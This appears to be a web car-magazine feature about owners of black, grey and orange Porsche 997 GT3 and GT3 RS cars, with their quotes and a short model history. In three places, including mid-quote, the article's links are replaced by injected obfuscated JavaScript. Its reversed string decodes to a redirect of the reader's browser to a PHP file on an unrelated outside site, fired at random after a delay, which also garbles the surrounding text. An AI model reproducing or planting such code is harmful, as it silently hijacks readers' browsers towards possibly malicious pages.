The loudest of the group in all but colour is Adel Arslan’s black 2008MY 997 GT3, which with bypassed exhaust side mufflers can be heard well before it is seen. Purchased new, Adel previously used his GT3 as his daily driver, hence why 104,000km shines proudly on the LCD display. Adel explains, “the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=porsche+911+gt3″ target=”_blank”>GT3 offers a fantastic combination of both worlds. If you have racing DNA it is heartbreaking every time the engine is off and you need to get out the car. The sensation of driving the GT3 is unmatched.”
With its RS wing, lightweight flywheel, lightweight battery, KW coilover suspension, bucket seats and huge 380mm Brembo brakes, the black 2008 GT3 (61,000km) belonging to Bashar Mardini is, in his own words, ‘a wannabe race car’. All great things can be improved and that’s just what he’s done over the years, making his GT3 that little more track-focused. “I have a newfound adoration for the GT3”, Bashar explains, “after once again spending time wrestling the mighty GT3 Cup car around Misano circuit during pre-race season testing.” One may wonder if there is much difference between his ‘black devil’ and a race car apart from carpet…
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche did not wait long to introduce a RS model GT3, and in 2007 the 997 GT3 RS went on sale. The first of the RS models here is John Iossifidis’ 2007 997 GT3 RS in black and orange. John may have only done 25,000km in this gem of a car, but with at least 65 per cent of them having been done on-track, most have at least been done where the RS feels at home. “The GT3RS is the only car that puts a smile on my face every time I start her up,” John explains. “Feeling the rumble through the seat of my pants accompanied by the tune of rattle and clatter from the exhaust (courtesy of the single-mass flywheel) just does it every time.”
In 2009 it was facelift time for the 997 range. By far the biggest change was power, with Direct Fuel Injection (DFI) introduced on the Carrera models with new engines bringing about bumps in power and torque, though this was not an option for the Mezger engine. A change in FIA GT Championship regulations meanwhile saw maximum capacity for race cars in that category increase from 3.6-litres to 4.0-litres, necessitating an increase to 3.8-litre on the Mezger for cup and road car use (and a 20bhp upgrade on the GT3 to 429bhp). The biggest change though was in the handling department with revised suspension and improved aero producing a significantly faster car on-track.
One year later in 2010 $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche released the facelifted 997 RS. Unlike previous RS models, this one came with an increase in power over the standard GT3 resulting in a quite staggering 444bhp on tap. Representing the second generation 997 GT3 today is Mattia Balestra’s striking grey and red 2010 3.8 RS (28,000km). Mattia is proud to own what he calls ‘one of the most beautiful and rewarding cars ever produced by Porsche’, and wastes no time explaining why: “It’s a physical experience. On an uneven road you feel everything through your spine. When you hit the brakes, you can almost feel the pads squeezing the rotors. You feel the raw power surge right through you, because your right foot is in a good mood. Or when you get butterflies in your stomach as the exhaust wails above 5000rpm.”
I’ve come to the conclusion, after a day spent with such illustrious company, that there is no such thing as a bad Porsche GT3. There are just evolutions of greatness and to own one can’t be summed up easily. Even if there are nine of you.
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